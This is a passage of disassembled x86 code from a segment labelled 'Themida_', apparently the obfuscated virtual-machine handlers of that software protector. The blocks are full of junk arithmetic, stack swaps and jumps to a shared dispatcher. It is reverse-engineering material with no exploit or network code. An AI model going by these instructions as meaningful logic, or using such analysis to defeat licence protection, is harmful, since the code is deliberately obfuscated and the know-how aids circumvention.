and eax, ebp
push dword ptr [esp]
push dword ptr [esp]
pop ebp
jmp loc_55AF60
; ---------------------------------------------------------------------------
loc_552B88: ; CODE XREF: Themida_:0055074Ej
add edx, 4
push ebp
mov ebp, 4
sub edx, ebp
pop ebp
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov [esp], edi
pop eax
pop edi
push 0DA0h
jmp loc_54F75D
; ---------------------------------------------------------------------------
loc_552BB0: ; CODE XREF: Themida_:00553F8Fj
mov eax, [esp]
add esp, 4
push edi
mov edi, 7CD73C51h
xor eax, edi
pop edi
mov [edi+20h], eax
mov eax, [esp]
push ebx
jmp loc_55988A
; ---------------------------------------------------------------------------
lodsd
jmp loc_552FFF
; ---------------------------------------------------------------------------
loc_552BD1: ; CODE XREF: Themida_:0055940Dj
add eax, 1
shl eax, 5
jmp loc_55820A
; ---------------------------------------------------------------------------
loc_552BDE: ; CODE XREF: Themida_:00554235j
sub eax, esi
jmp loc_556F2B
; ---------------------------------------------------------------------------
loc_552BE5: ; CODE XREF: Themida_:00552298j
sub edi, ebp
pop ebp
shr edi, 6
shl edi, 7
sub edi, 3CE74C8Bh
xor edi, 0C951E66Bh
mov ecx, edi
mov edi, [esp]
add esp, 4
shl ecx, 2
push edi
mov edi, 18087DA5h
xor edi, 19387740h
push esi
mov esi, 3B4E1A28h
xor edi, esi
pop esi
sub ecx, edi
jmp loc_54F3A0
; ---------------------------------------------------------------------------
loc_552C21: ; CODE XREF: Themida_:0055203Dj
xor ebx, edi
xor edi, ebx
xor ebx, edi
inc ebx
inc ebx
not ebx
sub ebx, 78262D04h
sub ebx, 4B4CB88Ah
mov edx, ebx
pop ebx
jmp loc_55950A
; ---------------------------------------------------------------------------
loc_552C3F: ; CODE XREF: Themida_:00550420j
add edx, 4
xchg edx, [esp]
pop esp
add bl, 0F0h
sub bl, al
sub bl, 0F0h
push small 7C66h
mov [esp], ax
mov ah, 43h
add bl, ah
mov ax, [esp]
add esp, 2
movzx eax, al
jmp loc_556291
; ---------------------------------------------------------------------------
loc_552C6C: ; CODE XREF: Themida_:00553963j
add ecx, ebx
add ecx, 45E56550h
add ecx, 736F171Eh
mov ebx, [esp]
add esp, 4
sub ecx, 2
xchg ecx, [esp]
pop esp
mov [esp], ax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_552C96: ; CODE XREF: Themida_:0055525Aj
sub ebp, 0B5BA467Eh
add edx, ebp
pop ebp
mov ebx, edx
pop edx
sub ebx, ebp
push dword ptr [esp]
pop ebp
jmp loc_5595C3
; ---------------------------------------------------------------------------
loc_552CAD: ; CODE XREF: Themida_:00550AF1j
add dword ptr [esp+4], 78E33F0Fh
mov ebp, [esp]
sub esp, 4
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_55153B
; ---------------------------------------------------------------------------
loc_552CCE: ; CODE XREF: Themida_:00554AC1j
push eax
push edx
push 1499222Eh
pop edx
shl edx, 3
not edx
dec edx
push ecx
mov ecx, 2A13058h
or ecx, 3F737E11h
neg ecx
jmp loc_550A85
; ---------------------------------------------------------------------------
push dword ptr [esp+4]
mov eax, [esp]
push ecx
mov ecx, esp
push ebx
mov ebx, 6BCD78C2h
add ebx, 74A04C73h
or ebx, 3676337Bh
not ebx
xor ebx, 9800884h
add ecx, ebx
pop ebx
jmp loc_55000E
; ---------------------------------------------------------------------------
loc_552D1B: ; CODE XREF: Themida_:0055B136j
pop ebp
jmp loc_5549F3
; ---------------------------------------------------------------------------
loc_552D21: ; CODE XREF: Themida_:00553167j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
lodsb
push 7C5h
mov [esp], ecx
jmp loc_550DA7
; ---------------------------------------------------------------------------
loc_552D34: ; CODE XREF: Themida_:0054F9D7j
mov ebx, 49626431h
and esi, ebx
pop ebx
xor esi, 48004012h
add ecx, 0E1D2BE0h
add ecx, esi
jmp loc_552108
; ---------------------------------------------------------------------------
loc_552D4F: ; CODE XREF: Themida_:00556D1Dj
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
jmp loc_5503A9
; ---------------------------------------------------------------------------
loc_552D5C: ; CODE XREF: Themida_:0054ED95j
pop esi
push eax
mov eax, 23F35DD2h
xor eax, 1A507F94h
add eax, 0C65CDDBEh
jmp loc_557BB8
; ---------------------------------------------------------------------------
loc_552D72: ; CODE XREF: Themida_:0055001Aj
add ecx, ebx
add ecx, 4F083A4Ch
pop ebx
sub esp, 4
mov [esp], ecx
push dword ptr [esp+4]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_551914
; ---------------------------------------------------------------------------
loc_552D90: ; CODE XREF: Themida_:0054EAE1j
mov eax, [esp]
push edx
mov edx, esp
push eax
mov eax, 4
add edx, eax
pop eax
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_557626
; ---------------------------------------------------------------------------
loc_552DAB: ; CODE XREF: Themida_:0055429Ej
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edi
push esp
pop edi
push ebp
push ecx
mov ecx, 246D7EC4h
push ecx
pop ebp
pop ecx
not ebp
jmp loc_559F2B
; ---------------------------------------------------------------------------
loc_552DD7: ; CODE XREF: Themida_:0054F380j
pop eax
xor ecx, 75299Ah
or edx, ecx
pop ecx
xchg ebp, edx
not ebp
jmp loc_55AAB3
; ---------------------------------------------------------------------------
loc_552DEA: ; CODE XREF: Themida_:00554C2Cj
pop ebx
xor ecx, 548A3BB0h
jmp loc_54FC0B
; ---------------------------------------------------------------------------
loc_552DF6: ; CODE XREF: Themida_:00558407j
add ebx, 0FFCF5E7Fh
jmp loc_554E88
; ---------------------------------------------------------------------------
loc_552E01: ; CODE XREF: Themida_:00557E2Ej
push ebp
mov ebp, 4
add esi, ebp
mov ebp, [esp]
add esp, 4
jmp loc_552A51
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
push 0AD7h
mov [esp], ebx
mov ebx, 4
jmp loc_54F049
; ---------------------------------------------------------------------------
loc_552E2D: ; CODE XREF: Themida_:00559C80j
push 13E3A76h
push dword ptr [esp]
pop ebp
add esp, 4
sub ebp, 3DBA3A84h
shr ebp, 5
jmp loc_5557A1
; ---------------------------------------------------------------------------
loc_552E47: ; CODE XREF: Themida_:00553726j
mov [esp], esi
mov esi, 0FB6767Ch
xor ebx, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
not ebx
push 10BBh
mov [esp], edi
mov edi, 388A4BE8h
jmp loc_556805
; ---------------------------------------------------------------------------
loc_552E77: ; CODE XREF: Themida_:00550A03j
add esi, 5E1F1FF6h
add esi, 47903C39h
add esi, ebp
sub esi, 47903C39h
sub esi, 5E1F1FF6h
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
jmp loc_54F1BD
; ---------------------------------------------------------------------------
loc_552EAD: ; CODE XREF: Themida_:00550024j
pop ecx
mov bx, [esp]
add esp, 2
jmp loc_558E18
; ---------------------------------------------------------------------------
loc_552EBA: ; CODE XREF: Themida_:005539E9j
and edi, esi
jmp loc_550848
; ---------------------------------------------------------------------------
loc_552EC1: ; CODE XREF: Themida_:005503E6j
pop eax
jmp loc_54F907
; ---------------------------------------------------------------------------
loc_552EC7: ; CODE XREF: Themida_:00557BA1j
push 42E6h
mov [esp], ebp
push 8E91045h
pop ebp
sub eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_55446C
; ---------------------------------------------------------------------------
loc_552EE2: ; CODE XREF: Themida_:00553E52j
pop esi
add edi, ebp
jmp loc_553F4C
; ---------------------------------------------------------------------------
loc_552EEA: ; CODE XREF: Themida_:005520F6j
xchg edx, [esp]
pop esp
push 3E11h
jmp loc_557B59
; ---------------------------------------------------------------------------
loc_552EF8: ; CODE XREF: Themida_:0054FFC4j
push 7E07h
mov [esp], ebx
mov ebx, 73707015h
push edx
mov edx, 267B17CBh
push ebx
jmp loc_54F6B8
; ---------------------------------------------------------------------------
loc_552F11: ; CODE XREF: Themida_:0054ECDCj
mov [esp], edx
push 10h
jmp loc_54F1A8
; ---------------------------------------------------------------------------
loc_552F1E: ; CODE XREF: Themida_:00559053j
add edi, ebx
sub edi, 4FE218F5h
pop ebx
xchg edi, [esp]
jmp loc_556BE0
; ---------------------------------------------------------------------------
loc_552F2F: ; CODE XREF: Themida_:005541CDj
and ecx, 27391202h
and ecx, 37D659D7h
jmp loc_555161
; ---------------------------------------------------------------------------
loc_552F40: ; CODE XREF: Themida_:00551AEEj
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_54EB83
; ---------------------------------------------------------------------------
loc_552F4C: ; CODE XREF: Themida_:00559A84j
add eax, edi
pop edi
push eax
push dword ptr [esp+4]
pop eax
jmp loc_554513
; ---------------------------------------------------------------------------
loc_552F5A: ; CODE XREF: Themida_:00552767j
pop esp
push edx
jmp loc_550029
; ---------------------------------------------------------------------------
loc_552F61: ; CODE XREF: Themida_:005586D3j
sub eax, ebp
mov ebp, [esp]
add esp, 4
push 5D3Ch
mov [esp], esi
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
mov ebp, 6C6263A5h
push ebx
mov ebx, 7309112Bh
add ebp, ebx
pop ebx
shr ebp, 1
jmp loc_552141
; ---------------------------------------------------------------------------
loc_552F9F: ; CODE XREF: Themida_:0055745Bj
mov ecx, 4
add eax, ecx
mov ecx, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
mov [esp], ebp
push 1
push dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_5558B6
; ---------------------------------------------------------------------------
mov cx, [esp]
push 2357h
mov [esp], edx
jmp loc_554C38
; ---------------------------------------------------------------------------
loc_552FF7: ; CODE XREF: Themida_:00552A8Bj
mov edi, [esp]
jmp loc_552984
; ---------------------------------------------------------------------------
loc_552FFF: ; CODE XREF: Themida_:00552BCCj
push edi
mov edi, 698C7EB8h
sub eax, 7495485Bh
add eax, edi
add eax, 7495485Bh
pop edi
sub eax, ebx
push ebp
push 4CE5h
jmp loc_5571C1
; ---------------------------------------------------------------------------
loc_55301F: ; CODE XREF: Themida_:0055AE17j
push esi
mov esi, esp
push edi
mov edi, 4
add esi, edi
pop edi
jmp loc_555274
; ---------------------------------------------------------------------------
loc_553030: ; CODE XREF: Themida_:005579E2j
mov [esp], edi
jmp loc_54EB29
; ---------------------------------------------------------------------------
loc_553038: ; CODE XREF: Themida_:00554E89j
mov esi, 42C4F6Ch
jmp loc_554044
; ---------------------------------------------------------------------------
loc_553042: ; CODE XREF: Themida_:0055058Fj
xor eax, ebp
pop ebp
add ecx, eax
mov eax, [esp]
jmp loc_555D72
; ---------------------------------------------------------------------------
loc_55304F: ; CODE XREF: Themida_:00554E22j
or esi, 2D5F6659h
jmp loc_54F385
; ---------------------------------------------------------------------------
loc_55305A: ; CODE XREF: Themida_:0055884Cj
mov ebx, esp
add ebx, 4
jmp loc_553C87
; ---------------------------------------------------------------------------
loc_553067: ; CODE XREF: Themida_:005549BBj
or edi, 67B03752h
jmp loc_54F91F
; ---------------------------------------------------------------------------
loc_553072: ; CODE XREF: Themida_:005516D7j
and ecx, 19AC0047h
push eax
jmp loc_5508B6
; ---------------------------------------------------------------------------
loc_55307E: ; CODE XREF: Themida_:0054EB24j
pop eax
add esi, 2
xchg esi, [esp]
pop esp
mov ax, [esp]
push ebx
mov ebx, esp
push edi
mov edi, 4
push ecx
mov ecx, offset byte_5C2208
inc ecx
shl ecx, 7
xor ecx, 11A12B3Ch
add ecx, 0F5D92253h
add ebx, ecx
pop ecx
add ebx, edi
push edi
mov edi, 458D5AB1h
add edi, 33756188h
and edi, 578A40D6h
shr edi, 7
add edi, 66A85EFFh
xor edi, 52C330F0h
sub ebx, edi
jmp loc_5507B0
; ---------------------------------------------------------------------------
loc_5530D6: ; CODE XREF: Themida_:0055213Cj
push eax
mov eax, 2
jmp loc_551878
; ---------------------------------------------------------------------------
loc_5530E1: ; CODE XREF: Themida_:00557886j
mov ebx, [esp]
sub esp, 4
jmp loc_550DDA
; ---------------------------------------------------------------------------
loc_5530EF: ; CODE XREF: Themida_:00557034j
mov esp, [esp]
shr dword ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5530FB: ; CODE XREF: Themida_:00551759j
mov eax, [esp]
add esp, 4
add eax, 4
push 4AC0h
mov [esp], ebx
push esi
jmp loc_558FCD
; ---------------------------------------------------------------------------
loc_553117: ; CODE XREF: Themida_:00556A74j
mov [esp], ecx
push edi
sub esp, 4
mov [esp], ebx
mov ebx, 7E14797Dh
and ebx, 54697D79h
dec ebx
push eax
mov eax, 0
sub eax, ebx
xchg eax, ebx
pop eax
add ebx, 79F37410h
sub ebx, 0F29EB00Fh
jmp loc_5552A7
; ---------------------------------------------------------------------------
loc_553148: ; CODE XREF: Themida_:00557C33j
push 5EF9h
mov [esp], ebx
jmp loc_552892
; ---------------------------------------------------------------------------
loc_553155: ; CODE XREF: Themida_:00557621j
mov ecx, esp
push esi
jmp loc_552AB9
; ---------------------------------------------------------------------------
loc_55315D: ; CODE XREF: Themida_:0054ECFAj
pop dword ptr [esp]
mov esp, [esp]
shr byte ptr [esp], cl
pushf
jmp loc_552D21
; ---------------------------------------------------------------------------
loc_55316C: ; CODE XREF: Themida_:005553F5j
push 5A07h
mov [esp], ecx
mov ecx, 4
jmp loc_55ACF6
; ---------------------------------------------------------------------------
loc_55317E: ; CODE XREF: Themida_:00558018j
add dword ptr [esp], 4
pop edi
add edi, 4
sub esp, 4
mov [esp], ecx
jmp loc_55972D
; ---------------------------------------------------------------------------
loc_553197: ; CODE XREF: Themida_:00553500j
mov [esp], eax
push 4188h
mov [esp], ebx
mov ebx, 7597558Fh
push ecx
push esi
mov esi, 8A68AA70h
mov ecx, esi
jmp loc_5577E2
; ---------------------------------------------------------------------------
loc_5531B5: ; CODE XREF: Themida_:00553619j
pop esp
or edx, eax
jmp loc_54ECEC
; ---------------------------------------------------------------------------
loc_5531BD: ; CODE XREF: Themida_:0055AC3Bj
add edx, 4
jmp loc_555BC6
; ---------------------------------------------------------------------------
loc_5531C8: ; CODE XREF: Themida_:0055A3EBj
add eax, 4
xchg eax, [esp]
pop esp
push edi
mov edi, 4
sub esi, edi
pop edi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5531EC: ; CODE XREF: Themida_:00557455j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5531F1: ; CODE XREF: Themida_:00556FAEj
inc ebx
push eax
push edx
mov edx, 2B126739h
neg edx
jmp loc_55A092
; ---------------------------------------------------------------------------
loc_553200: ; CODE XREF: Themida_:0055799Cj
push edx
push eax
push edx
jmp loc_555B8F
; ---------------------------------------------------------------------------
loc_553208: ; CODE XREF: Themida_:0055A625j
xor ebx, 61042387h
shl ebx, 7
sub ebx, 29C4327Dh
jmp loc_551739
; ---------------------------------------------------------------------------
loc_55321C: ; CODE XREF: Themida_:0055AE00j
mov al, 30h
mov bl, al
pop eax
add al, 9Fh
sub al, bl
sub al, 9Fh
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_550439
; ---------------------------------------------------------------------------
loc_55323B: ; CODE XREF: Themida_:00550CE9j
xor dl, 0C5h
xchg bh, dl
not bh
xchg bh, dl
not dl
xchg bh, dl
not bh
xchg bh, dl
jmp loc_54FDB8
; ---------------------------------------------------------------------------
loc_553251: ; CODE XREF: Themida_:0055AD49j
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
xor bl, al
movzx eax, al
push esi
push esp
jmp loc_5568C2
; ---------------------------------------------------------------------------
loc_553266: ; CODE XREF: Themida_:00554BE2j
push edx
mov edx, esp
jmp loc_54F0BF
; ---------------------------------------------------------------------------
loc_55326E: ; CODE XREF: Themida_:00553878j
shr ecx, 8
and ecx, 339470FEh
or ecx, 317B71EDh
jmp loc_55151F
; ---------------------------------------------------------------------------
loc_553282: ; CODE XREF: Themida_:0054F702j
pop edi
push ebp
mov ebp, 588E624Bh
add esi, ebp
pop ebp
jmp loc_55AE72
; ---------------------------------------------------------------------------
loc_553291: ; CODE XREF: Themida_:00559DE7j
push edi
mov edi, 56243B76h
xor edi, 4FD360CDh
push ebp
push edx
mov edx, 103E7333h
jmp loc_54ECFF
; ---------------------------------------------------------------------------
loc_5532A9: ; CODE XREF: Themida_:005574F1j
shl ebp, 5
neg ebp
add ebp, 50F0088Fh
mov eax, ebp
pop ebp
add eax, 4468BBEFh
sub ecx, eax
mov eax, [esp]
add esp, 4
push esi
jmp loc_553949
; ---------------------------------------------------------------------------
loc_5532CD: ; CODE XREF: Themida_:00551DC4j
pop ebp
mov eax, edi
pop edi
jmp loc_5587CC
; ---------------------------------------------------------------------------
loc_5532D6: ; CODE XREF: Themida_:00554186j
add edi, esi
add edi, 4B741ADBh
pop esi
push ebp
jmp loc_555448
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl byte ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_5532F4: ; CODE XREF: Themida_:00557B8Fj
add esp, 4
push eax
mov eax, 4
push ecx
mov ecx, 75496B84h
add ebx, ecx
jmp loc_551A5E
; ---------------------------------------------------------------------------
loc_55330D: ; CODE XREF: Themida_:005572A7j
add dword ptr [esp], 4
pop esi
sub esp, 4
jmp loc_553A40
; ---------------------------------------------------------------------------
loc_55331A: ; CODE XREF: Themida_:0055708Dj
push ecx
mov ecx, 4
add edx, ecx
pop ecx
jmp loc_558376
; ---------------------------------------------------------------------------
loc_553328: ; CODE XREF: Themida_:00557EE9j
sub eax, 21E457DEh
inc eax
add eax, 58C885F5h
or edx, eax
pop eax
shl edx, 3
xor edx, 0DFFB24DCh
add esi, edx
pop edx
jmp loc_556F4F
; ---------------------------------------------------------------------------
loc_553347: ; CODE XREF: Themida_:0055A442j
push edx
mov edx, 4
sub ecx, 5941238Ah
add ecx, edx
add ecx, 5941238Ah
pop edx
jmp loc_556BD0
; ---------------------------------------------------------------------------
loc_553361: ; CODE XREF: Themida_:00557CB7j
sub ch, 0DEh
add bl, ch
pop ecx
jmp loc_554901
; ---------------------------------------------------------------------------
loc_55336C: ; CODE XREF: Themida_:005597AEj
pop edx
add ebx, eax
pop eax
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
jmp loc_559A77
; ---------------------------------------------------------------------------
loc_55337E: ; CODE XREF: Themida_:005583CCj
mov ecx, 5B1D2E56h
and ecx, 3D8A1C5Fh
dec ecx
sub esp, 4
mov [esp], esi
mov esi, 44432FF6h
xor ecx, esi
mov esi, [esp]
add esp, 4
xor ecx, 5D4B23A7h
add esi, ecx
pop ecx
push ecx
mov ecx, 4
jmp loc_55AD1A
; ---------------------------------------------------------------------------
loc_5533B4: ; CODE XREF: Themida_:00551767j
pop esi
jmp loc_5585F8
; ---------------------------------------------------------------------------
loc_5533BA: ; CODE XREF: Themida_:00554782j
add edx, edi
pop edi
jmp loc_557A06
; ---------------------------------------------------------------------------
loc_5533C2: ; CODE XREF: Themida_:0054F7D2j
add bh, 7
jmp loc_550088
; ---------------------------------------------------------------------------
loc_5533CA: ; CODE XREF: Themida_:00550683j
mov [esp], ecx
mov ch, 60h
jmp loc_5533E2
; ---------------------------------------------------------------------------
loc_5533D4: ; CODE XREF: Themida_:0054EB62j
pop eax
sub al, 0D1h
sub esp, 4
mov [esp], ebx
jmp loc_559EE9
; ---------------------------------------------------------------------------
loc_5533E2: ; CODE XREF: Themida_:005533CFj
sub al, ch
pop ecx
jmp loc_5547F6
; ---------------------------------------------------------------------------
loc_5533EA: ; CODE XREF: Themida_:00554D48j
add ecx, esi
pop esi
jmp loc_55AAD9
; ---------------------------------------------------------------------------
loc_5533F2: ; CODE XREF: Themida_:00557D5Dj
pop esp
sub [edi+24h], eax
push dword ptr [esp]
pop eax
add esp, 4
loc_553400: ; CODE XREF: Themida_:005548EFj
push 6652h
mov [esp], ebx
push dword ptr [esp]
push dword ptr [esp]
pop eax
push eax
mov eax, esp
jmp loc_55ADA0
; ---------------------------------------------------------------------------
loc_553417: ; CODE XREF: Themida_:00557282j
pop esi
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
push dword ptr [esp]
mov eax, [esp]
jmp loc_554B76
; ---------------------------------------------------------------------------
loc_553436: ; CODE XREF: Themida_:0055151Aj
push ebp
jmp loc_5509D1
; ---------------------------------------------------------------------------
loc_55343C: ; CODE XREF: Themida_:005503D6j
or eax, eax
jz loc_553D6A
push 5BABh
mov [esp], ebp
push 0FEh
pop ebp
and [edi+1Ch], ebp
mov ebp, [esp]
push ebx
sub esp, 4
jmp loc_55A03C
; ---------------------------------------------------------------------------
loc_553461: ; CODE XREF: Themida_:00554467j
xor [esp], edx
jmp loc_55575C
; ---------------------------------------------------------------------------
loc_553469: ; CODE XREF: Themida_:0055861Bj
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_555508
; ---------------------------------------------------------------------------
loc_553477: ; CODE XREF: Themida_:00558B97j
and esi, edx
pop edx
neg esi
sub esi, 0EA9D1720h
xor eax, esi
mov esi, [esp]
push ebp
jmp loc_55A348
; ---------------------------------------------------------------------------
loc_55348D: ; CODE XREF: Themida_:00552559j
pop ebx
add [esp+4], esi
add dword ptr [esp+4], 1CAB4526h
jmp loc_553D2C
; ---------------------------------------------------------------------------
mov cx, [esp]
push 6E9Fh
mov [esp], esi
mov esi, esp
push ebx
mov ebx, 2CC2ABDh
push edx
jmp loc_551FCF
; ---------------------------------------------------------------------------
loc_5534B9: ; CODE XREF: Themida_:00554CC0j
push 4
pop ebx
add [esp+4], ebx
mov ebx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push edi
jmp loc_54F6E5
; ---------------------------------------------------------------------------
loc_5534D5: ; CODE XREF: Themida_:0054F018j
sub edi, 57A728DCh
push edx
push edi
sub dword ptr [esp], 3D723A0Ch
pop edx
add edx, 3D723A0Ch
sub esp, 4
mov [esp], edx
pop eax
pop edx
mov edi, [esp]
jmp loc_550D40
; ---------------------------------------------------------------------------
loc_5534FB: ; CODE XREF: Themida_:005536DDj
push 12F2h
jmp loc_553197
; ---------------------------------------------------------------------------
loc_553505: ; CODE XREF: Themida_:00551027j
mov ecx, 7F186BDAh
sub esi, ecx
pop ecx
jmp loc_55A632
; ---------------------------------------------------------------------------
loc_553512: ; CODE XREF: Themida_:0055245Ej
add ebp, 962996h
add edi, 352F7532h
add edi, ebp
sub edi, 352F7532h
pop ebp
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_55907B
; ---------------------------------------------------------------------------
loc_553535: ; CODE XREF: Themida_:00551662j
pop edx
add eax, 1
add eax, 1
jmp loc_556D6E
; ---------------------------------------------------------------------------
loc_553543: ; CODE XREF: Themida_:00552931j
pop ecx
sub eax, ecx
jmp loc_55176C
; ---------------------------------------------------------------------------
loc_55354B: ; CODE XREF: Themida_:0054FE37j
push esp
pop ecx
push eax
mov eax, 7139742Bh
push ebp
mov ebp, 52B4458Fh
add ebp, 3A746BDCh
jmp loc_553865
; ---------------------------------------------------------------------------
loc_553564: ; CODE XREF: Themida_:005572F5j
jmp loc_55AE10
; ---------------------------------------------------------------------------
loc_553569: ; CODE XREF: Themida_:00555212j
pop esp
jmp loc_5522A9
; ---------------------------------------------------------------------------
loc_55356F: ; CODE XREF: Themida_:00557975j
pop esp
jmp loc_54FA11
; ---------------------------------------------------------------------------
loc_553575: ; CODE XREF: Themida_:00551248j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55357A: ; CODE XREF: Themida_:0054F89Fj
mov cl, 0FFh
jmp loc_553C47
; ---------------------------------------------------------------------------
loc_553581: ; CODE XREF: Themida_:00557D25j
push dword ptr [esp]
jmp loc_552B73
; ---------------------------------------------------------------------------
loc_553589: ; CODE XREF: Themida_:00557D9Bj
mov ebp, [esp]
add esp, 4
push ecx
push ebx
mov ebx, 7AA15E7Bh
jmp loc_556E8E
; ---------------------------------------------------------------------------
loc_55359B: ; CODE XREF: Themida_:00555C00j
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push edi
push esp
jmp loc_55A6D6
; ---------------------------------------------------------------------------
loc_5535AB: ; CODE XREF: Themida_:0055013Ej
pop dx
push small 78A9h
mov [esp], dx
jmp loc_55754A
; ---------------------------------------------------------------------------
loc_5535BA: ; CODE XREF: Themida_:0055374Cj
pop eax
pop ebx
sub bl, 0C4h
jmp loc_55619E
; ---------------------------------------------------------------------------
loc_5535C4: ; CODE XREF: Themida_:0054EAA6j
xor ebp, ecx
pop ecx
not ebp
xor ebp, 8D79E3E1h
xor edx, ebp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_55A24C
; ---------------------------------------------------------------------------
loc_5535E8: ; CODE XREF: Themida_:005587F5j
push ebx
push 292921D7h
jmp loc_559EF0
; ---------------------------------------------------------------------------
loc_5535F3: ; CODE XREF: Themida_:00555D6Dj
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], eax
jmp loc_5510B4
; ---------------------------------------------------------------------------
loc_553608: ; CODE XREF: Themida_:0054FD99j
mov [esp], edx
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
xchg ecx, [esp]
jmp loc_5531B5
; ---------------------------------------------------------------------------
loc_55361E: ; CODE XREF: Themida_:005507ABj
mov ch, 44h
jmp loc_55A0EE
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
push 6B78h
mov [esp], edx
mov edx, 4
add ebp, edx
pop edx
push edi
mov edi, 59884229h
and edi, 688948DBh
sub esp, 4
mov [esp], ebp
mov ebp, 7B336B2h
or edi, ebp
pop ebp
sub edi, 2B5268DDh
shl edi, 4
jmp loc_5573B1
; ---------------------------------------------------------------------------
loc_553667: ; CODE XREF: Themida_:00553B79j
pop ecx
pop ecx
add ebx, 2
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
xor [esp], al
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55367F: ; CODE XREF: Themida_:005553EDj
mov edx, ebx
pop ebx
push edx
mov edx, 191C3DE6h
shl edx, 4
xor edx, 69B81AE0h
shr edx, 4
jmp loc_55AE05
; ---------------------------------------------------------------------------
loc_553699: ; CODE XREF: Themida_:005573EBj
pop ecx
sub eax, edx
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
push ebx
jmp loc_559A40
; ---------------------------------------------------------------------------
loc_5536AE: ; CODE XREF: Themida_:00552150j
sub ebx, 4
xchg ebx, [esp]
mov esp, [esp]
mov [esp], esi
jmp loc_54ED94
; ---------------------------------------------------------------------------
loc_5536C2: ; CODE XREF: Themida_:0055246Aj
push 6B4Dh
jmp loc_55730E
; ---------------------------------------------------------------------------
loc_5536CC: ; CODE XREF: Themida_:0054F1B8j
mov esi, 4
add edx, esi
pop esi
jmp loc_558A22
; ---------------------------------------------------------------------------
loc_5536D9: ; CODE XREF: Themida_:005505B1j
or edx, eax
shl edx, 1
jmp loc_5534FB
; ---------------------------------------------------------------------------
loc_5536E2: ; CODE XREF: Themida_:005546EAj
push dword ptr [esp]
jmp loc_557429
; ---------------------------------------------------------------------------
loc_5536EA: ; CODE XREF: Themida_:00557748j
push esi
mov esi, 2CFF6DFEh
push ecx
mov ecx, 4BDE1C76h
add esi, 2BF039F3h
sub esi, ecx
sub esi, 2BF039F3h
pop ecx
not esi
sub esi, 714D29B3h
jmp loc_55417A
; ---------------------------------------------------------------------------
loc_553712: ; CODE XREF: Themida_:0054FA3Cj
mov ebx, 42CE7652h
xor ebx, 5C0D6384h
add ebx, 5FA9537Fh
sub esp, 4
jmp loc_552E47
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
sub esp, 4
mov [esp], edx
jmp loc_5519AD
; ---------------------------------------------------------------------------
loc_55373D: ; CODE XREF: Themida_:0055B14Bj
mov [esp], edx
jmp loc_55A8E1
; ---------------------------------------------------------------------------
loc_553745: ; CODE XREF: Themida_:00559C91j
mov bh, 3Dh
push eax
mov ah, bh
mov dh, ah
jmp loc_5535BA
; ---------------------------------------------------------------------------
loc_553751: ; CODE XREF: Themida_:00558F75j
pop edi
jmp loc_551040
; ---------------------------------------------------------------------------
loc_553757: ; CODE XREF: Themida_:00552B62j
mov bh, 0E7h
jmp loc_55768F
; ---------------------------------------------------------------------------
loc_55375E: ; CODE XREF: Themida_:0054EDD9j
mov ebx, 5B0E3AAFh
mov edx, ebx
pop ebx
inc edx
dec edx
xor edx, 6C4E0630h
push 274Dh
mov [esp], ebp
mov ebp, 5DAE5520h
neg ebp
push eax
push 0DC22A5B1h
pop eax
xor ebp, eax
jmp loc_550278
; ---------------------------------------------------------------------------
loc_55378B: ; CODE XREF: Themida_:005501DDj
add esi, 4
jmp loc_557027
; ---------------------------------------------------------------------------
loc_553793: ; CODE XREF: Themida_:00550206j
mov edi, esp
add edi, 4
add edi, 2
xchg edi, [esp]
pop esp
add bl, al
push ax
push ecx
mov ch, 95h
add ch, 0F3h
mov ah, ch
pop ecx
add bl, ah
mov ax, [esp]
push 6D6Ah
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 2
xchg ecx, [esp]
mov esp, [esp]
movzx eax, al
